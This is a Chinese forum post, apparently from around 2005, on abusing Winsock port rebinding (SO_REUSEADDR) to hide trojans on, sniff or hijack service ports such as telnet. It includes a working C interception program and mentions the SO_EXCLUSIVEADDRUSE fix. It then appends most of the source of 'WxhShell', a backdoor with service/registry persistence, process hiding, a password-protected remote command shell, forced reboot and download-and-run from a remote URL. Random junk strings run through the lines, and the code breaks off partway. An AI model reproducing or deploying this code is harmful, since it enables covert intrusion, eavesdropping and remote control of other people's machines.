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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0~/_|?]`7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +\ .Lp 5  
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  saddr.sin_family = AF_INET; CkQ3#L<2  
_)m]_eS._  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0 /U{p,r6`  
Kis"L(C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yWo; a  
i<Zc"v;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VjZ|$k  
+iRh  
  这意味着什么?意味着可以进行如下的攻击: ENs&RZ;  
hhc,uJ">!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7~.9=I'A  
o]oum,Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]&+s6{}  
3;]H1 1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8'io$ 6d=  
h MD|#A-<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SoSb+\* @h  
KB(8f*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M%P:n/j  
)1`0PJoHE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aj{Y\ 3L  
m~0/&RA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $B5aje}i  
tFOhL9T  
  #include w+u3*/Zf  
  #include Txb#C[`  
  #include |t#)~Oo  
  #include    j{+.tIzpq[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [/41% B2  
  int main() GH$pKB  
  { R8Fv{7]c  
  WORD wVersionRequested; Ean5b>\  
  DWORD ret; =W!/Z%^*8  
  WSADATA wsaData; 5K8^WK  
  BOOL val; $5%SNzzl  
  SOCKADDR_IN saddr; q#9RW(o  
  SOCKADDR_IN scaddr; z5*'{t)  
  int err; u <v7;dF|s  
  SOCKET s; BuXqd[;K%  
  SOCKET sc; M@v.c; Lt  
  int caddsize; $}<e|3_  
  HANDLE mt; Si;H0uPO  
  DWORD tid;   mGg+.PFsM  
  wVersionRequested = MAKEWORD( 2, 2 ); K_Eux rPn  
  err = WSAStartup( wVersionRequested, &wsaData ); 5MJS ~(  
  if ( err != 0 ) { #BH*Z(  
  printf("error!WSAStartup failed!\n"); `1IgzKL9  
  return -1; Yufc{M00  
  } $suzW;{#  
  saddr.sin_family = AF_INET; v O_*yh1  
   :nOFR$ W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ":QZy8f9%  
TJXT-\Vk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CryBwm  
  saddr.sin_port = htons(23); LsU9 .  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t!7-DF|N  
  { ZyFjFHe+  
  printf("error!socket failed!\n"); v_GUNRs  
  return -1; e^1Twz3z  
  } gT6jYQ  
  val = TRUE; O k=hT|}Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5M*:}*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bq0zxg%  
  { Vp@?^imL  
  printf("error!setsockopt failed!\n"); Em~>9f ?Q(  
  return -1; }`m/bgtFX  
  } 3eQ&F~S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YNsJZnGr8#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p>8D;#Hm L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0{-q#/  
NyNXP_8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ' %o#q6O  
  { mxdr,Idx  
  ret=GetLastError(); O)r4?<Q  
  printf("error!bind failed!\n"); WOL:IZX%  
  return -1; L$M9w  
  } cTTL1SW  
  listen(s,2); FXkM#}RgNm  
  while(1) IF:;`r@%  
  { "oO%`:pb  
  caddsize = sizeof(scaddr); }b.%Im<3R  
  //接受连接请求 FJ)$f?=Qd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U z>+2m(  
  if(sc!=INVALID_SOCKET) s|r3Gv|G  
  { ^.QzQ1=D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k~1?VQ+?M  
  if(mt==NULL) XVZ   
  { uJ v-4H  
  printf("Thread Creat Failed!\n"); {&1/V  
  break; 6i3$CW  
  } gp.^~p]x  
  } Z4 =GMXj  
  CloseHandle(mt); JY(WK@  
  } 2`=7_v  
  closesocket(s); VRB;$  
  WSACleanup(); ^s"R$?;h  
  return 0; ;>7De8v@@  
  }   I51@QJX  
  DWORD WINAPI ClientThread(LPVOID lpParam) NqWdRU  
  { E$p+}sP(C  
  SOCKET ss = (SOCKET)lpParam; h2fNuu"  
  SOCKET sc; ePo}y])2  
  unsigned char buf[4096]; { 9q4)R}G  
  SOCKADDR_IN saddr; ##"HF  
  long num; Oxd]y1  
  DWORD val; 2g! +<YZ~  
  DWORD ret; j|#Bo:2km  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9p(. A$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,Ko!$29[  
  saddr.sin_family = AF_INET; H"WprHe  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); + ksVtG,  
  saddr.sin_port = htons(23); $yNS pNmT0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tK\~A,=  
  { Ta\tYZj$  
  printf("error!socket failed!\n"); '/s)%bc  
  return -1; A2Gevj?F$  
  } s!$7(Q86R  
  val = 100; #S"nF@   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f._ua>v,f  
  { _xhax+,! ~  
  ret = GetLastError(); {3aua:q  
  return -1; -ZLJeY L  
  } #KZBsa@p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )\$|X}uny&  
  { 97!;.f-  
  ret = GetLastError(); dvUic-w<j  
  return -1; g3y+&Y_  
  } oNF6<A(@$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pFjK}J OF  
  { *J`O"a  
  printf("error!socket connect failed!\n"); /9fR'EO{x  
  closesocket(sc); 1iF1GkLEq  
  closesocket(ss); pYf-S?Y/V  
  return -1; Qzw;i8n{  
  } {R `[kt  
  while(1) P~X2^bw  
  { EXqE~afm2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }0Ed ]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l+^*LqEW2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |&i<bqLw:  
  num = recv(ss,buf,4096,0); {"KMs[M  
  if(num>0) 7-fb.V9  
  send(sc,buf,num,0); R (n2A$  
  else if(num==0) &Au@S$ij  
  break; }k.Z~1y  
  num = recv(sc,buf,4096,0); ncT&Gr   
  if(num>0) '6%2.[ o  
  send(ss,buf,num,0); d%n-[ZL  
  else if(num==0) X!EP$!  
  break; "3Y0`&:D  
  } :^h$AWR^f  
  closesocket(ss); -zfR)(zG  
  closesocket(sc); LZxNAua  
  return 0 ; 4BpZJ~(p  
  } "VMz]ybi^  
6(-N FnT  
KVa  
========================================================== bV3|6]k^  
Pa: |_IXA  
下边附上一个代码,,WXhSHELL  rjnrju+  
e$Pj.>-<=  
========================================================== mQ"-,mMI  
pOoEI+t  
#include "stdafx.h" DZtsy!xA  
 _6vW F  
#include <stdio.h> dG?*y  
#include <string.h> ]3Sp W{=^(  
#include <windows.h> q'Pf]  
#include <winsock2.h> 7;@]t^d=$  
#include <winsvc.h> 8zW2zkv2|#  
#include <urlmon.h>  o-B$J?  
X|]A T9W  
#pragma comment (lib, "Ws2_32.lib") >Cq<@$I2EB  
#pragma comment (lib, "urlmon.lib") mj7#&r,1l  
G$('-3@i`w  
#define MAX_USER   100 // 最大客户端连接数 PXNuL&   
#define BUF_SOCK   200 // sock buffer ?(_08O  
#define KEY_BUFF   255 // 输入 buffer gL/9/b4  
`C'H.g\>2Q  
#define REBOOT     0   // 重启 E}Uc7G  
#define SHUTDOWN   1   // 关机 *MW\^PR?  
>uEzw4w  
#define DEF_PORT   5000 // 监听端口 IO<6  
="l/klYV  
#define REG_LEN     16   // 注册表键长度 b^vQpiz  
#define SVC_LEN     80   // NT服务名长度 ) Hr`M B  
YKK*ER0  
// 从dll定义API XC#oB~K'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aV0"~5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]\HvKCN}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /&J T~M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4 s9LB  
;*2Cm'8E  
// wxhshell配置信息 }4X0epPp;:  
struct WSCFG { ]7c=PC  
  int ws_port;         // 监听端口 R`-S/C  
  char ws_passstr[REG_LEN]; // 口令 MVUJD{X#  
  int ws_autoins;       // 安装标记, 1=yes 0=no zX i 'kB  
  char ws_regname[REG_LEN]; // 注册表键名 #}5uno  
  char ws_svcname[REG_LEN]; // 服务名 FW DNpr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }"%N4(Kd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M&M 6;Ph  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _ jlRlt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |CbikE}kL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @BMx!r5kn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 goWuw}?  
b" [|:F>P  
}; #fM`}Ij.A  
P16~Qj  
// default Wxhshell configuration VuZr:-K/  
struct WSCFG wscfg={DEF_PORT, -yNlyHv9  
    "xuhuanlingzhe", 0JujesUw(  
    1, Zx>=tx}  
    "Wxhshell", \o3gKoL%  
    "Wxhshell", S$-7SEkO+  
            "WxhShell Service", ba9?(+i$h  
    "Wrsky Windows CmdShell Service", ?:9"X$XR  
    "Please Input Your Password: ", 8zq=N#x  
  1, [{/jI\?v  
  "http://www.wrsky.com/wxhshell.exe", eS){1  
  "Wxhshell.exe" }c:M^Ff  
    }; E=O\0!F|b  
[dVL&k<P  
// 消息定义模块 bpa?C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <(!:$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &5!8F(7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZSo)  
char *msg_ws_ext="\n\rExit.";  e]$s t?  
char *msg_ws_end="\n\rQuit."; o^wqFX(Y  
char *msg_ws_boot="\n\rReboot..."; X2"/%!65{  
char *msg_ws_poff="\n\rShutdown..."; %\:Wi#w>  
char *msg_ws_down="\n\rSave to "; dqcL]e  
ML p9y#  
char *msg_ws_err="\n\rErr!"; %!#azI  
char *msg_ws_ok="\n\rOK!"; ]hV*r@d  
&BSn?  
char ExeFile[MAX_PATH]; :b!s2n!u  
int nUser = 0; uhq8   
HANDLE handles[MAX_USER]; ,<X9Y2B  
int OsIsNt; RPbZ(.  
Rf% a'b  
SERVICE_STATUS       serviceStatus; "$vRMpW:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0<*<$U  
Vi|#@tC'  
// 函数声明 {Y1Ck5  
int Install(void); EKN~H$.  
int Uninstall(void); ]eV8b*d6  
int DownloadFile(char *sURL, SOCKET wsh); 'Z]w^<  
int Boot(int flag); X5w$4Kj&4l  
void HideProc(void); JlJ a #  
int GetOsVer(void); ksm~<;td  
int Wxhshell(SOCKET wsl); ,`sv1xwd  
void TalkWithClient(void *cs); iN.n8MN=I  
int CmdShell(SOCKET sock); $<OD31T  
int StartFromService(void); z{r}~{{E  
int StartWxhshell(LPSTR lpCmdLine); HK% 7g  
Pc]HP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y<.5xq5_3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ez[Vm:2K  
l}P=/#</T  
// 数据结构和表定义 u$`a7Lp,n  
SERVICE_TABLE_ENTRY DispatchTable[] = lk=<A"^S  
{ 8xMX  
{wscfg.ws_svcname, NTServiceMain}, c+GG\:gM  
{NULL, NULL} 6wg^FD_Q  
}; -I%5$`z  
rS Ni@;   
// 自我安装 c[s4EUG  
int Install(void) (w zQ2Dk  
{ ?r!o~|9|  
  char svExeFile[MAX_PATH]; {\\T gs  
  HKEY key; U%/+B]6jP  
  strcpy(svExeFile,ExeFile); '0,^6'VWOV  
2+WaA ,   
// 如果是win9x系统,修改注册表设为自启动 H6gSO(U  
if(!OsIsNt) { &,)&%Sg[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A/?7w   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c4zR*  
  RegCloseKey(key); 7PF%76TO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DIUjn;>k8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rW#T vUn  
  RegCloseKey(key); ,iwp,=h=  
  return 0; N)Z?Z+ }h  
    } EBmt9S  
  } #|``ca54B  
} /wlEe>i  
else { B|X!>Q<g  
-%4,@ x`  
// 如果是NT以上系统,安装为系统服务 @[v~y"tE}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,wPr"U+7  
if (schSCManager!=0) 9Gz=lc[!7  
{ =?`c=z3~i$  
  SC_HANDLE schService = CreateService ]]Ufas9  
  ( q75s#[<ap  
  schSCManager, Yoll?_k+  
  wscfg.ws_svcname, x$(f7?s] 1  
  wscfg.ws_svcdisp, HtYwEjI  
  SERVICE_ALL_ACCESS, 7>*vI7O0l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vf1^4 t  
  SERVICE_AUTO_START, Dum9lj  
  SERVICE_ERROR_NORMAL, k==h|\|  
  svExeFile, AwF:Iu^3n  
  NULL, |vzl. ^"-  
  NULL, h@wgd~X9  
  NULL, lk80#( :Z  
  NULL, e@YK@?^#N  
  NULL r,2g^ K)6  
  ); 0Y5_PTWb+Y  
  if (schService!=0) S0W||#Pr  
  { BfiD9ka-z  
  CloseServiceHandle(schService); ~7Ux@Sx;  
  CloseServiceHandle(schSCManager); yEQs:v6L~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YZJyk:H\  
  strcat(svExeFile,wscfg.ws_svcname); 9-m=*|p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GsM<2@?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0C ,`h `  
  RegCloseKey(key); ,MIV=*  
  return 0; 7Fsay+a  
    } @9|hMo  
  } kg\ >k2h  
  CloseServiceHandle(schSCManager); |! "eWTJ  
} 6D_D';o  
} o3}3p]S\  
}SCM I4\  
return 1; {BU;$  
} w@fi{H(R  
IEvdV6{K  
// 自我卸载 8*a&Jl  
int Uninstall(void) `~q<N  
{ Yu2Bkq+  
  HKEY key; L9#g)tf 8T  
jZr q{Z<  
if(!OsIsNt) { ~WV"SaA)*U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &PtJ$0%q  
  RegDeleteValue(key,wscfg.ws_regname); JOBhx)E  
  RegCloseKey(key); [z9Z5sLO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sdmT  
  RegDeleteValue(key,wscfg.ws_regname); b5n'=doR/I  
  RegCloseKey(key); lsNd_7k  
  return 0; iO; 7t@]-  
  } ,~W|]/b<q  
} @pU)_d!pJ  
} %ULr8)R;  
else { Dv`c<+q(#  
\xoP)Ub>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u\nh[1)a)  
if (schSCManager!=0) ^pk7"l4Xm  
{ R ViuJ;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }*"p?L^p{  
  if (schService!=0) "g8M0[7e3  
  { X!g#T9kG  
  if(DeleteService(schService)!=0) { Uf+%W;}  
  CloseServiceHandle(schService); Q&bM\;Ml  
  CloseServiceHandle(schSCManager); ]e@Oiq  
  return 0; Pk)1WK7E  
  } QP J4~  
  CloseServiceHandle(schService); \dQNLLg/  
  } g eCM<]  
  CloseServiceHandle(schSCManager); K", N!koj  
} r]36z X v  
} k"w"hg&e  
k|d+#u[Mj@  
return 1; $* Kvc$D  
} wLr_-vJ  
wq`Bd  
// 从指定url下载文件 }RqK84K  
int DownloadFile(char *sURL, SOCKET wsh) >[*qf9$  
{ bA->{OPkT  
  HRESULT hr; 45>?o  
char seps[]= "/"; 7D5]G-}x.  
char *token; #Mw8^FST  
char *file; i~J'%a<Qp  
char myURL[MAX_PATH]; f& '  
char myFILE[MAX_PATH]; ~&bq0 (  
cExS7~*  
strcpy(myURL,sURL); u;c?d!E  
  token=strtok(myURL,seps); J-hbh  
  while(token!=NULL) |$b}L7_  
  { ^y%T~dLkp'  
    file=token; yz8jw:d^-  
  token=strtok(NULL,seps); u.Dz~$T  
  } CeC6hGR5  
4r}8lpF_(  
GetCurrentDirectory(MAX_PATH,myFILE); D,FkB"ZZE  
strcat(myFILE, "\\"); BThrO d  
strcat(myFILE, file); ?5 7Sk+  
  send(wsh,myFILE,strlen(myFILE),0); %bfQ$a:  
send(wsh,"...",3,0); <UQbt N-B\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C~iL3C b  
  if(hr==S_OK) Dm<A ^u8  
return 0; ySDH "|0  
else 04=c-~&q  
return 1; ^ r,=vO  
y h9*z3  
} 9qG6Pb  
Jg| XH L)  
// 系统电源模块 em N*l]N  
int Boot(int flag) }9fTF:P  
{ R*2E/8Ia  
  HANDLE hToken; \P`hq^;  
  TOKEN_PRIVILEGES tkp; >\3V a  
&KRX[2  
  if(OsIsNt) { Npy :!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JcxThZP~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #O dJ"1A|  
    tkp.PrivilegeCount = 1; *bA.zmzM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "1 M[5\Ax  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V 6reqEh  
if(flag==REBOOT) { R/z=p_6p7`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6jLCU%^  
  return 0; 9mTJ|sN:e  
} hZ  
else { v^ V itLC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :G%61x&=Zc  
  return 0; $ gS>FJ  
} @2 fg~2M1  
  } E09 :E  
  else { v z '&%(  
if(flag==REBOOT) { 0.k7oB;f(@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W|63Ir67  
  return 0; 7E~;xn;  
} fS78>*K  
else { Z}Ft:7   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uk<9&{  
  return 0; )|=j`jCC  
} ]-/VHh  
} ?2Py_gkf  
wEvVL  
return 1; P me^l%M  
} |4 0`B% Z  
UrEs4R1#  
// win9x进程隐藏模块 + @s"zp;F  
void HideProc(void) O[JL+g4  
{ bAtSVu  
7! INkH]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5taT5?n2  
  if ( hKernel != NULL ) {[?(9u7R  
  { 1NA.nw.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q9r[$%G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZRU{ [4  
    FreeLibrary(hKernel); i6Emhji  
  } CdjI`  
lchPpm9  
return; C1 GKLl~  
} cB}D^O   
Vb]=B~^`  
// 获取操作系统版本 ={@6{-tl  
int GetOsVer(void) 57']#j#"hj  
{ ;,:`1UI  
  OSVERSIONINFO winfo; +*/Zu`kzX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z/@slT  
  GetVersionEx(&winfo); A@{PZ   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dE{dZ#Jfi  
  return 1; K} X&AJ5A  
  else _TQj~W<  
  return 0; }l} Bo.C  
} t)$:0  
"n5N[1b k  
// 客户端句柄模块 Ig0VW)@  
int Wxhshell(SOCKET wsl) _H7x9 y=  
{ #( 146  
  SOCKET wsh; |~mOfuQb  
  struct sockaddr_in client; ra gXn  
  DWORD myID; O`t&ldU  
l L@XM2"  
  while(nUser<MAX_USER) y(yHt= r  
{ `Cynj+PCe  
  int nSize=sizeof(client); $1L> )S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9w"4K.  
  if(wsh==INVALID_SOCKET) return 1; 1JG'%8}#8  
L2i_X@/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~YWQ2]  
if(handles[nUser]==0) wIaony  
  closesocket(wsh); ?Z[[2\DR  
else j[J-f@F \Y  
  nUser++; E,x+JeKV  
  } 0gP}zM73  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X[BIA+6  
 B Qxs~  
  return 0; ag;pN*z  
} tGE$z]1c@  
9`X\6s  
// 关闭 socket ?ri?GmI|  
void CloseIt(SOCKET wsh) 9Uekvs=r=M  
{ 2*l/3VW  
closesocket(wsh); ZI}Fom<  
nUser--; ,K"U> &  
ExitThread(0); ]dmrkZz:  
} &d?CCb$|0Y  
}?_?V&K|  
// 客户端请求句柄 qv KG-|j  
void TalkWithClient(void *cs) z3m85F%dR  
{ :v&$o'Sak  
|a`Sc %  
  SOCKET wsh=(SOCKET)cs; u$Jz~:=,  
  char pwd[SVC_LEN]; 6@F9G 4<Z  
  char cmd[KEY_BUFF]; ep)n_!$OH"  
char chr[1]; `V)8 QRN(  
int i,j; +`3)oPV)  
' ;FnIZ  
  while (nUser < MAX_USER) { Ma']?Rb`  
S3*`jF>q  
if(wscfg.ws_passstr) { Hc$O{]sq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a;qryUyG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =M [bnq*\  
  //ZeroMemory(pwd,KEY_BUFF); lc1(t:"[  
      i=0; jTtu0Q|  
  while(i<SVC_LEN) { .*S#aq4S  
b;W3j   
  // 设置超时 &4x}ppX  
  fd_set FdRead; oC: {aK6\  
  struct timeval TimeOut; G+"t/?/  
  FD_ZERO(&FdRead); /1V xc 6  
  FD_SET(wsh,&FdRead); )9'K($  
  TimeOut.tv_sec=8; U!?_W=?  
  TimeOut.tv_usec=0; ;oKZ!ND  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6"5A%{ J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6"O+w=5B  
qHplJ "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2M#Q.F  
  pwd=chr[0]; Ls$D$/:q?  
  if(chr[0]==0xd || chr[0]==0xa) { _~J {wM  
  pwd=0; "R1NG?; q  
  break; #64-~NVL_  
  } (pCrmyB  
  i++; FQ7T'G![  
    } u=?.}Pj  
Q4!_>YZ  
  // 如果是非法用户,关闭 socket =9boya,>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z2_*%S@  
} .B]MpmpK  
IS{wtuA.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c%2QZC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Z?TFg  
Xq]w<$  
while(1) { Fa Qe_;  
[P=Jw:E  
  ZeroMemory(cmd,KEY_BUFF); ~hnQUS`A  
ll<Xz((o  
      // 自动支持客户端 telnet标准   oim9<_  
  j=0; t?x<g<PJ4  
  while(j<KEY_BUFF) { F|o:W75  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V6&!9b  
  cmd[j]=chr[0]; %S@ZXf~:  
  if(chr[0]==0xa || chr[0]==0xd) { \K{0L  
  cmd[j]=0; vv3* j&I  
  break; 0d"[l@UU0  
  } 7$vYo _  
  j++; \FbvHr,  
    } ?qLFaFt/  
Yq0| J  
  // 下载文件 * 8yAG]z  
  if(strstr(cmd,"http://")) { jk; clwyz/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +,T RfP Fb  
  if(DownloadFile(cmd,wsh)) @uqd.Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U0 Yll4E  
  else (cAIvgI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h5{'Q$Erl  
  } 1MP~dRZ$  
  else { MSQEO4ge  
zl>nSndRE  
    switch(cmd[0]) { !*F1q|R  
  W#4 7h7M  
  // 帮助 @;zl  
  case '?': { \ =?a/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _(W+S`7Z  
    break; \}u Y'F  
  } 7 S#J>*  
  // 安装 UqFO|r"M  
  case 'i': { E:sf{B'&  
    if(Install()) <ktrPlNuM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 53;}Nt#R  
    else xjuN-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?*G|XnM&  
    break; c?f4Q,%|  
    } f}#~-.NGs  
  // 卸载 c@!_ /0  
  case 'r': { $Uq|w[LA  
    if(Uninstall()) :t"^6xt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^e2VE_8L  
    else Xy|So|/bKd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F 5bj=mI  
    break; n71r_S*  
    } gq4Tb c oA  
  // 显示 wxhshell 所在路径 \%JgH=@ :=  
  case 'p': { M)J5;^["  
    char svExeFile[MAX_PATH]; NR 5gj-B[  
    strcpy(svExeFile,"\n\r"); -j# 2}[J7  
      strcat(svExeFile,ExeFile); v}}F,c(f  
        send(wsh,svExeFile,strlen(svExeFile),0); 7Utn\l  
    break; T6y\|  
    } 'Vzp2  
  // 重启 EA@ .,7F  
  case 'b': { i^X]j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4x=v?g&  
    if(Boot(REBOOT)) zsEc(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9|^2",V  
    else { BM%e0n7  
    closesocket(wsh); APn|\  
    ExitThread(0); m)ky*"(  
    } :[p}  
    break; 59LZv-l  
    } )al]*[lY  
  // 关机 -]N x,{  
  case 'd': { 9tU]`f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .KB^3pOpx  
